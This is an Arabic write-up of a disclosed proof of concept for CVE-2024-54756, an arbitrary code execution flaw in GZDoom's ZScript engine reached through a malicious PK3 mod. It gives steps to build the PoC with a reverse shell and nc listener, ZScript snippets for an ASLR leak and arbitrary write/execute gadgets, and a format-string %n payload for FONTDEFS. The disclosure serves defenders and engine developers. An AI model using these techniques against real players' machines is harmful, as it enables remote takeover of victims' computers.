
إثبات المفهوم لـ CVE-2024-54756، وهي ثغرة وجدتها في محرك النصوص ZScript الخاص بـ GZDoom.
إثبات مفهوم لثغرة تنفيذ تعليمات برمجية عشوائية وجدتها في وظيفة ZScript الخاصة بـ GZDoom (https://github.com/zdoom/gzdoom). يمكن للمهاجم مشاركة ملف PK3 يحتوي على ملف مصدر ZScript خبيث والحصول على وصول إلى جهاز الضحية.
شكر جزيل لـ Rachael وAgent Ash من فريق تطوير GZDoom على استجاباتهم السريعة، ولهم وللمطورين الآخرين في GZDoom على معالجتهم السريعة لهذا الأمر!
تم التأكيد على أنها تعمل مع الإصدارين 4.13.0 و4.13.1، ومن المحتمل أن تعمل مع الإصدارات الأقدم أيضًا. كن حذرًا من أي شخص يخبرك بالتراجع إلى الإصدار 4.13.1 أو أقل لتتمكن من تشغيل WAD الخاص به.
يعمل إثبات المفهوم هذا فقط على Linux، لكن الثغرة موجودة على الأرجح على Windows أيضًا. لم يتم اختبارها على ZDoom أو LZDoom، لكن الثغرة قد تكون موجودة هناك أيضًا.
تم الإفصاح عن الثغرة للمطورين قبل نشر إثبات المفهوم هذا، ويجب ألا تكون موجودة بعد في الإصدار 4.13.2. على حد علمي، لا يتضمن هذا الإصدار أي تغييرات جوهرية عملية.
إثبات المفهوم هذا مصنوع ومنشور لأغراض تعليمية، بحيث يمكن لمطوري محركات الألعاب/البرمجة النصية فهم كيف يمكن أن تنشأ الثغرات، وحتى يتمكن اللاعبون من فهم كيف يمكن أن يبدو التعديل الخبيث للعبة. لست مسؤولًا ولا متحملاً لأي سوء استخدام لإثبات المفهوم هذا. يُرجى عدم استخدام هذا لاختراق أجهزة زملائك اللاعبين؛ إنه غير قانوني (لا ينبغي أن تحتاج مني أن أخبرك بذلك)، وهو خاصةً عمل وضيع للاستيلاء على جهاز كمبيوتر شخص ما من خلال لعبة فيديو.
لاستخدام إثبات المفهوم هذا، قم بتنزيل هذا المستودع وأنشئ ملف PK3 (وهو في الحقيقة ملف مضغوط بامتداد .pk3) يحتوي على zscript.zs و MAPINFO:
git clone https://github.com/Chainmanner/GZDoom-Arbitrary-Code-Execution-via-ZScript-PoC
cd GZDoom-Arbitrary-Code-Execution-via-ZScript-PoC
zip PoC.pk3 zscript.zs MAPINFO
الحمولة الافتراضية هي تشغيل شل عكسي إلى localhost على المنفذ 1337. ابدأ المستمع:
nc -nvlp 1337
قم بتشغيل إثبات المفهوم كالتالي:
gzdoom -iwad <your-doom-or-freedoom-wad> -file PoC.pk3
إذا نجح الأمر، يجب أن تحصل الآن على شل عكسي إلى نفسك.
إثبات المفهوم هذا مخصص لـ Linux فقط. قد لا يعمل من المحاولة الأولى؛ فقط حاول مرة أخرى حتى يعمل.
ملاحظة: هذه أول كتابة لي عن استغلال ثغرة وما زلت أعمل على تحسين مهارتي في كتابة الشروحات على المستوى المنخفض. أيضًا، قمت بمعظم التصحيح باستخدام GDB، ولسوء الحظ لم يكن لدي الوعي الكافي لحفظ بعض تفريغات الذاكرة لتوضيح الشرح بشكل أفضل. آسف! كتابتي القادمة ستكون أفضل، أعدك.
GZDoom هو منفذ مصدر لـ Doom مصمم للأداء وقابلية التوسع. بفضل ميزاته القوية، تم إنشاء العديد من WADs الرائعة والتعديلات وحتى التحويلات الكاملة التجارية. لسوء الحظ، حيثما يوجد تعقيد، توجد فرصة لوجود ثغرات، وفي هذه الحالة كانت هناك ثغراتان موجودتان في محرك ZScript البرمجي مما سمح بظهور سلسلة استغلال كاملة.
يهاجم هذا الهجوم آلية ASLR ويتجنب الحاجة إلى تجاوز واقيات المكدس (stack canaries). لا أعتقد أن CFI أو الحماية بالمكدس الظلي (shadow stacks) من Clang كان يمكن أن تساعد هنا.
الثغرة الأولى والأكثر أهمية كانت في كيفية التعامل مع المصفوفات الضخمة. إذا قمت بتخصيص مصفوفة صغيرة بما يكفي، فإن منطقة الذاكرة المخصصة تميل إلى أن تكون مليئة بالأصفار ومفصولة بشكل صحيح عن الكائنات الأخرى؛ لا يمكن الحصول على معلومات من قراءة ذاكرة غير مهيأة، ولا تتداخل أي كائنات مع المصفوفة. ومع ذلك، إذا قمت بتخصيص مصفوفة ضخمة - على سبيل المثال، 1073741823 كلمة 32 بت أو أكثر - فستتمكن من قراءة وكتابة ما يصل إلى 4 جيجابايت من الذاكرة غير المهيأة على الأرجح من نقطة بداية المصفوفة، مما يسمح للمهاجم بتعديل الكائنات الأخرى مباشرة وهزيمة ASLR من خلال العثور على عناوين ذات إزاحات معروفة. بالإضافة إلى ذلك، أي مصفوفات أخرى يتم إنشاؤها بعد هذه النقطة سوف تتداخل مع المصفوفة الضخمة.
الثغرة الثانية كانت في أذونات خريطة الذاكرة. من أجل أداء أسرع، يتم تجميع كود ZScript في الوقت المناسب (JIT) إلى bytecode x86 أو x86-64 كلما أمكن. لتحقيق ذلك، يجب كتابة الكود إلى منطقة من الذاكرة، ويجب تنفيذ هذه المنطقة من الذاكرة. ومع ذلك، تنص قاعدة W^X على أن المنطقة يجب أن تكون إما قابلة للكتابة أو قابلة للتنفيذ، لكن ليس كلاهما. إذا تم تطبيق كلاهما في نفس الوقت (بدلاً من جعل المنطقة قابلة للكتابة، وكتابة الكود، ثم جعل المنطقة قابلة للتنفيذ وغير قابلة للكتابة)، فإن المهاجم الذي لديه إمكانية الكتابة العشوائية سيكون قادرًا على تصعيدها إلى تنفيذ تعليمات برمجية عشوائية؛ يمكنهم كتابة شيل كود والقفز إليه عن طريق تعديل عنوان العودة على المكدس على سبيل المثال (بافتراض أن المهاجم ليس لديه إمكانية تنفيذ عشوائية). إذا نظرت إلى تعيينات الذاكرة لـ GZDoom أثناء تشغيله، يمكنك رؤية عدة مناطق RWX:
7fcd19700000-7fcd19800000 rwxp 00000000 00:00 0
7fcd1a100000-7fcd1a200000 rwxp 00000000 00:00 0
7fcd1eb00000-7fcd1ec00000 rwxp 00000000 00:00 0
لذا إذا كانت إمكانيات الكتابة والتنفيذ العشوائية متوفرة، وكان المهاجم يعرف مكان أي منطقة RWX، فيمكنهم كتابة أي شيل كود وتنفيذه. جعل هذه المناطق RW- عند كتابة الكود المجمع JIT ثم R-X عندما يكون جاهزًا للتشغيل كان سيوقف إثبات المفهوم هذا، لكنه لن يمنع المهاجم من الحصول على تنفيذ تعليمات برمجية عن طريق، على سبيل المثال، تعديل البيانات على المكدس (ROP) أو الكومة.
بالإضافة إلى ذلك، هناك أداة مفيدة. تذكر كيف أنه عند تخصيص مصفوفة ضخمة، فإن أي مصفوفات أخرى يتم إنشاؤها بعدها ستتداخل؟ ذلك يشمل مصفوفات المؤشرات إلى الكائنات. مثل كائنات C++، يمكن أن تحتوي كائنات ZScript على متغيرات ومؤشرات دوال. لنفترض أن لدينا هذا الكائن:
class WeirdObject
{
uint one;
uint two;
uint three;
uint four;
Function<clearscope void()> funcptr;
}
إذا أنشأنا مصفوفة تحتوي على مؤشر إلى مثيل WeirdObject، فإن المهاجم يمكنه تغيير المؤشر إلى أي مكان نريده باستخدام المصفوفة الضخمة وتغيير البيانات المشار إليها عن طريق الوصول إلى حقول الكائن، مما يعطينا إمكانية قراءة/كتابة عشوائية تتجاوز الكومة. يتم التحقق من المؤشرات في ZScript لضمان أنها ليست فارغة (null)، لكن ليس لضمان أنها معقولة.
وجود مؤشر دالة يعطينا أيضًا إمكانية تنفيذ عشوائية؛ لكن ذلك أقل وضوحًا قليلاً، ويتطلب إنشاء VMFunction مزيف لإرضاء الآلة الافتراضية. بمجرد إدخال استدعاء لدالة ZScript في كود الاستغلال، لن يتم تجميع ذلك الكود باستخدام JIT. لا يزال يعمل، لكنه يصبح أكثر صعوبة في التصحيح والاستغلال. قد تكون هناك طريقة أفضل للقيام بهذا الجزء، لكنني لم أدرس الدواخل الداخلية لـ GZDoom بشكل كافٍ لمعرفتها.
شيء واحد يجب ملاحظته: WeirdObject لديه متغيرات أعضاء موروثة، لذا يبدأ العضو الأول عند الإزاحة 0x28.
إذن الآن، لدينا الأدوات التالية:
كيف نربطها لصنع استغلال؟
أولاً، لأن ASLR مفعلة، نحتاج إلى تحديد مكان وجود منطقة RWX. أي منطقة ستفي بالغرض. الجزء من الكومة المتاح للمصفوفة الضخمة يحتوي على عناوين تشير إلى دوال داخل منطقة RWX، لكنه يحتوي أيضًا على عناوين تشير إلى مناطق أخرى؛ كيف نميز؟ تذكر أنه على Linux، تحتوي ASLR على 28 بت من الإنتروبيا (أقل أحيانًا!)، مما يعني أنه على الرغم من أن بتات القناع 0x7fffffe00000 في عنوان ستكون عشوائية، فإن البتات 0x0000001fffff ستكون ثابتة. لذا، مع تعطيل ASLR، لنفترض أن لدينا مناطق RWX التالية:
[0x7ffff2f00000, 0x7ffff3000000)
[0x7ffff3900000, 0x7ffff3a00000)
[0x7ffff4300000, 0x7ffff4400000)
ثم يمكننا استخدام كود ZScript التالي لطباعة المؤشرات إلى دوال ZScript المجمعة JIT داخل مناطق RWX:
uint u32pBFA9000[1073741823];
uint u32RWX_L;
uint u32RWX_H;
for (i = 0; i < (1073741823 / 2); i += 2)
{
u32RWX_L = u32pBFA9000[i];
u32RWX_H = u32pBFA9000[i+1];
if ((u32RWX_H & 0xffff8000) == 0)
{
if ((u32RWX_L & 0xffe00000) == 0xf2e00000)
{
Console.Printf("0x%x%08x", u32RWX_H, u32RWX_L);
}
if ((u32RWX_L & 0xffe00000) == 0xf3800000)
{
Console.Printf("0x%x%08x", u32RWX_H, u32RWX_L);
}
if ((u32RWX_L & 0xffe00000) == 0xf4200000)
{
Console.Printf("0x%x%08x", u32RWX_H, u32RWX_L);
}
}
}
احصل على الإزاحات عن طريق إجراء AND للنتائج المطبوعة مع 0x1fffff، ويمكنك استخدام هذه الإزاحات لتحديد المؤشرات إلى مناطق RWX. كلما زادت الإزاحات التي تعرفها، زادت فرص نجاح الاستغلال.
بعد ذلك، نحتاج إلى إعداد إمكانية التنفيذ العشوائية. نقوم بذلك عن طريق تعديل مؤشر الدالة في كائن أداة، مثل WeirdObject المعلن أعلاه، باستخدام إمكانية الكتابة العشوائية. بعد الإعلان عن u32pBFA9000، ابدأ بإنشاء كائنات أداة الكتابة والتنفيذ العشوائية:
WeirdObject ppGadgetObjects[2];
ppGadgetObjects[0] = New("WeirdObject"); // مؤشر الكتابة العشوائية.
ppGadgetObjects[1] = New("WeirdObject"); // كائن التنفيذ العشوائي.
يتداخل ppGadgetObjects مع u32pBFA9000 في البداية تمامًا، وتذكر أن الأعضاء الخاصة بـ WeirdObject تبدأ عند الإزاحة 0x28. تبدو إمكانية الكتابة العشوائية هكذا، حيث TARGET_ADDR هو عنوان الكتابة الهدف، QWORD هو العدد الصحيح 64 بت الذي سيتم كتابته، و _H/_L يشيران إلى الجزء العالي والمنخفض من عدد 64 بت على التوالي:
u32pBFA9000[0] = (TARGET_ADDR_L-0x28);
u32pBFA9000[1] = TARGET_ADDR_H;
ppGadgetObjects[0].one = QWORD_L;
ppGadgetObjects[0].two = QWORD_H;
سأعترف أنني لا أعرف ما يكفي عن كيفية عمل مؤشرات الدوال في ZScript وهذا الجزء لا يزال صعبًا بالنسبة لي لشرحه، لكنني سأبذل قصارى جهدي لشرحه على أي حال. آسف إذا أربكتك أكثر.
يجب أن أرسم مخططًا لهذا، لكني لا أشعر برغبة في عمل فن ASCII الآن. انظر إلى كود مصدر الاستغلال لترى كيف يبدو ما سبق. بمجرد ترتيب ما سبق، يمكننا بعد ذلك تعديل مؤشر الدالة في كائن الأداة. عندما نستدعيه، سينفذ الشيل كود الخاص بنا بمجرد كتابته.
الخطوة الأخيرة هي كتابة الشيل كود نفسه. نظرًا لأن إثبات المفهوم هذا يستدعي أمر شل، يجب كتابة بعض السلاسل ("/bin/bash", "-c", سلسلة الأمر) أيضًا. يمكن أن يكون هذا الجزء سهلاً أو صعبًا، اعتمادًا على ما تنوي تنفيذه بالضبط.
عند الانتهاء من كل ذلك، تستدعي الدالة المشار إليها بواسطة WeirdObject لأداة التنفيذ، وقد قمت الآن بتنفيذ الشيل كود الخاص بك.
لقد وجدت بعض الثغرات الإضافية، لكن لم أتمكن من إيجاد طريقة لاستغلالها وتقديم سلسلة استغلال كاملة. تم إصلاح ثغرة تجاوز سعة المخزن المؤقت strcpy() في الإصدار 4.13.2. لم يتم إصلاح ثغرة تنسيق السلسلة mysnprintf() حتى الآن، ولكن حظًا موفقًا إذا كنت ستحاول استغلالها.
توجد ثغرة تنسيق سلسلة (اثنتان في الواقع) في منشئ FFont في common/fonts/font.cpp:
[...]
if (nametemplate != nullptr)
{
if (!iwadonly)
{
for (i = 0; i < lcount; i++)
{
int position = lfirst + i;
mysnprintf(buffer, countof(buffer), nametemplate, i + start);
lump = TexMan.CheckForTexture(buffer, ETextureType::MiscPatch);
[...]
}
}
else
{
FGameTexture *texs[256] = {};
if (lcount > 256 - start) lcount = 256 - start;
for (i = 0; i < lcount; i++)
{
TArray<FTextureID> array;
mysnprintf(buffer, countof(buffer), nametemplate, i + start);
TexMan.ListTextures(buffer, array, true);
[...]
}
[...]
}
[...]
}
[...]
يتم تمرير وسيطة TEMPLATE من إدخال في كتلة FONTDEFS مباشرة إلى mysnprintf(). هذا يعني أنه يمكن للمرء أن يكون لديه إدخال مثل هذا يحاول تحميل خط بناءً على متغيرات المكدس:
EVILFONT
{
TEMPLATE LOL%hhx
}
أو إدخال يكتب عدد الأحرف المكتوبة في مكان ما على المكدس، مما يسبب تعطلًا:
EVILFONT
{
TEMPLATE ----AAAAAAAA%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%n
}
حقيقة أن الإخراج محدود لا يهم؛ سيتم تحليل علامات النسبة المئوية بغض النظر عن الحد الأقصى للطول.
mysnprintf() هي تطبيق مخصص (public domain) لـ snprintf() مصمم للأداء على حساب المرونة. استغلالها أصعب بكثير من تطبيق libc القياسي. على سبيل المثال، باستخدام %n، يمكنك فقط كتابة كلمات 32 بت ولا يمكنك كتابة عناصر محددة من المكدس باستخدام %<num>$n.
هناك أيضًا استدعاء خطير لـ strcpy() في LevelStatEntry() في gamedata/statistics.cpp قد يكون مصدره أطول من الوجهة. الدالة:
static void LevelStatEntry(FSessionStatistics *es, const char *level, const char *text, int playtime)
{
FLevelStatistics s;
time_t clock;
struct tm *lt;
time (&clock);
lt = localtime (&clock);
strcpy(s.name, level);
strcpy(s.info, text);
s.timeneeded=playtime;
es->levelstats.Push(s);
}
هيكل FLevelStatistics، المخصص على المكدس، يبدو هكذا:
struct FLevelStatistics
{
char info[60];
short skill;
short playerclass;
char name[24];
int timeneeded;
};
ويتم استدعاء LevelStatEntry() هكذا، باستخدام LevelData.Levelname - وهو من نوع std::string - كوسيطة:
[...]
for(unsigned i = 0; i < LevelData.Size(); i++)
{
FString lsection = LevelData[i].Levelname;
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
lsection.ToUpper();
infostring.Format("%4d/%4d, %4d/%4d, %3d/%3d",
LevelData[i].killcount, LevelData[i].totalkills, LevelData[i].itemcount, LevelData[i].totalitems, LevelData[i].secretcount, LevelData[i].totalsecrets);
LevelStatEntry(es, lsection.GetChars(), infostring.GetChars(), LevelData[i].leveltime);
^^^^^^^^^^^^^^^^^^^
}
SaveStatistics(statfile, EpisodeStatistics);
[...]
هناك سلسلة كاملة من الاستدعاءات الأخرى اللازمة للوصول إلى هذه النقطة، بدءًا من FLevelLocals::ChangeLevel() في g_level.cpp، لكنني لن أتعب نفسي بعرضها هنا. سأقول أنه على طول سلسلة التنفيذ للوصول إلى هنا، لا توجد فحوصات أو حدود لطول LevelData.Levelname.
على نظام حديث، لا ينبغي أن يكون هذا قابلاً للاستغلال؛ ستعمل واقيات المكدس (stack canaries) على إيقاف أي محاولات تحطيم للمكدس من خلال هذا في مهدها، وستمنع ASLR المستخدم من معرفة أين يعود. أيضًا، لديك أداة واحدة فقط: الكتابة فوق عنوان العودة عند الخروج من LevelStatEntry(). على الأنظمة القديمة، قد لا تكون هذه الدفاعات متوفرة، وربما يوفر كود ZScript المجمع JIT أدوات للاستغلال.